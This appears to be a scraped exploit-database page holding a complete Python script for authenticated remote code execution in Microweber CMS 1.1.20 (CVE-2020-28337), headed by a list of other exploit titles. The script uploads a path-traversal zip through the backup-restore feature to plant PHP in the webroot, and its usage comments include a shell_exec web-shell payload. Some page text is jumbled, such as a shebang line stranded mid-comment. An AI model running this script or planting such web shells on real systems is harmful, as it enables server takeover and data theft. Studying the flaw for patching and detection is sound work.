599b380301
7 changes to exploits/shellcodes DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path BOOTP Turbo 2.0.0.1253 - 'bootpt.exe' Unquoted Service Path TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path Exploit Title: Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection # Date: May 3rd 2021 PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS) Human Resource Information System 0.1 - 'First Name' Persistent Cross-Site Scripting (Authenticated) Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes)
222 lines
No EOL
8.1 KiB
Python
Executable file
222 lines
No EOL
8.1 KiB
Python
Executable file
# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)
|
|
# Date: 2020-10-31
|
|
# Exploit Author: sl1nki
|
|
# Vendor Homepage: https://microweber.org/
|
|
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
|
|
# Version: <=1.1.20
|
|
# Tested on: Ubuntu 18.04
|
|
# CVE : CVE-2020-28337
|
|
#
|
|
# Example usage with default phpinfo() payload:
|
|
# ./microweber_rce.py \
|
|
# --hostname "http://microwebertest.com" \
|
|
# --username "admin" \
|
|
# --password "password123"
|
|
#
|
|
#
|
|
# Example usage with custom payload (shell_exec):
|
|
# ./microweber_rce.py \
|
|
# --hostname "http://microwebertest.com" \
|
|
# --username "admin" \
|
|
# --password "password123" \
|
|
# --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
|
|
#
|
|
# Notes:
|
|
# * SSL verification is disabled by default
|
|
# * If for some reason the --target-path "/userfiles/cache
|
|
|
|
#!/usr/bin/python3
|
|
|
|
#/" doesn't work, "/userfiles/modules/" is a good one too.
|
|
#
|
|
#
|
|
#
|
|
|
|
|
|
import argparse
|
|
import re
|
|
import requests
|
|
import sys
|
|
import zipfile
|
|
|
|
from io import BytesIO
|
|
|
|
# Disable insecure SSL warnings
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
class Microweber():
|
|
def __init__(self, baseUrl, proxies=None):
|
|
self.baseUrl = baseUrl
|
|
self.proxies = proxies
|
|
self.cookies = None
|
|
|
|
self.loginUrl = "/api/user_login"
|
|
self.uploadUrl = "/plupload"
|
|
self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup"
|
|
self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore"
|
|
|
|
self.targetPath = "/userfiles/cache/"
|
|
self.targetFilename = "payload.php"
|
|
self.zipPayloadName = "payload.zip"
|
|
|
|
def makePostRequest(self, url, data=None, files=None, headers=None):
|
|
return requests.post(self.baseUrl + url,
|
|
data=data,
|
|
files=files,
|
|
headers=headers,
|
|
cookies=self.cookies,
|
|
proxies=self.proxies,
|
|
verify=False
|
|
)
|
|
|
|
def makeGetRequest(self, url, params=None):
|
|
return requests.post(self.baseUrl + url,
|
|
params=params,
|
|
cookies=self.cookies,
|
|
proxies=self.proxies,
|
|
verify=False
|
|
)
|
|
|
|
def login(self, username, password):
|
|
res = self.makePostRequest(self.loginUrl, data={
|
|
"username": username,
|
|
"password": password
|
|
})
|
|
|
|
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!":
|
|
print(f"[+] Successfully logged in as {username}")
|
|
self.cookies = res.cookies
|
|
else:
|
|
print(f"[-] Unable to login. Status Code: {res.status_code}")
|
|
sys.exit(-1)
|
|
|
|
def createZip(self, path=None, filename=None, payload=None):
|
|
# In-memory adaptation of ptoomey3's evilarc
|
|
|
|
# https://github.com/ptoomey3/evilarc
|
|
|
|
if payload == None:
|
|
payload = "<?php phpinfo(); ?>"
|
|
|
|
zd = BytesIO()
|
|
zf = zipfile.ZipFile(zd, "w")
|
|
|
|
# The custom Unzip class uses a path under the webroot for cached file extraction
|
|
# /storage/cache/backup_restore/<md5 hash>/
|
|
# so moving up 4 directories puts us at the webroot
|
|
zf.writestr(f"../../../..{path}{filename}", payload)
|
|
zf.close()
|
|
return zd
|
|
|
|
def uploadZip(self, zipData):
|
|
# Upload the zip data as a general file
|
|
|
|
res = self.makePostRequest(self.uploadUrl,
|
|
headers={"Referer": ""},
|
|
data={
|
|
"name": self.zipPayloadName,
|
|
"chunk": 0,
|
|
"chunks": 1
|
|
},
|
|
files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")}
|
|
)
|
|
|
|
if res.status_code == 200:
|
|
print(f"[+] Successfully uploaded: {self.zipPayloadName}")
|
|
j = res.json()
|
|
print(f"[+] URL: {j['src']}")
|
|
print(f"[+] Resulting Filename: {j['name']}")
|
|
self.zipPayloadName = j['name']
|
|
else:
|
|
print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})")
|
|
sys.exit(-1)
|
|
|
|
def getAbsoluteWebRoot(self):
|
|
# Determine the webroot using the debug output and the DefaultController.php path
|
|
res = self.makeGetRequest("", params={
|
|
"debug": "true"
|
|
})
|
|
|
|
if res.status_code != 200:
|
|
print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}")
|
|
sys.exit(-1)
|
|
|
|
target = "src/Microweber/Controllers/DefaultController.php"
|
|
m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)
|
|
if len(m) == 1:
|
|
return m[0]
|
|
else:
|
|
print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches")
|
|
|
|
def moveZipToBackup(self):
|
|
# Move the uploaded zip file into the backup directory
|
|
|
|
webRoot = self.getAbsoluteWebRoot()
|
|
hostname = self.baseUrl.split("//")[1]
|
|
|
|
src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"
|
|
res = self.makeGetRequest(self.moveZipToBackupUrl, params={
|
|
"src": src
|
|
})
|
|
|
|
if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!":
|
|
print(f"[+] Successfully moved {self.zipPayloadName} to backup")
|
|
else:
|
|
print(f"[-] Unable to move zip to backup ({res.status_code})")
|
|
sys.exit(-1)
|
|
|
|
def restoreBackup(self, filename):
|
|
# With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely
|
|
|
|
res = self.makePostRequest(self.restoreBackupUrl, data={
|
|
|
|
"id": filename
|
|
})
|
|
|
|
if res.status_code == 200 and "Backup was restored!" in res.text:
|
|
print(f"[+] Successfully restored backup {filename}")
|
|
else:
|
|
print(f"[-] Unable to restore backup {filename}")
|
|
sys.exit(-1)
|
|
|
|
def exploit(self, payload=None):
|
|
zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)
|
|
m.uploadZip(zipData)
|
|
m.moveZipToBackup()
|
|
m.restoreBackup(self.zipPayloadName)
|
|
|
|
print(f"[+] Successfully uploaded payload to {self.targetFilename}!=")
|
|
print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}")
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)")
|
|
parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)")
|
|
parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user")
|
|
parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user")
|
|
parser.add_argument("--payload", required=False, dest="payload", help="Payload contents. Should be a string of PHP code. (default is phpinfo() )")
|
|
|
|
# Uncommon args
|
|
parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php")
|
|
parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/")
|
|
parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip")
|
|
args = parser.parse_args()
|
|
|
|
proxies = None
|
|
if args.http_proxy:
|
|
proxies = {
|
|
"http": args.http_proxy
|
|
}
|
|
|
|
m = Microweber(args.hostname, proxies=proxies)
|
|
|
|
if args.target_file:
|
|
m.targetFilename = args.target_file
|
|
if args.target_path:
|
|
m.targetPath = args.target_path
|
|
|
|
if args.zip_name:
|
|
m.zipPayloadName = args.zip_name
|
|
|
|
m.login(args.username, args.password)
|
|
m.exploit(args.payload) |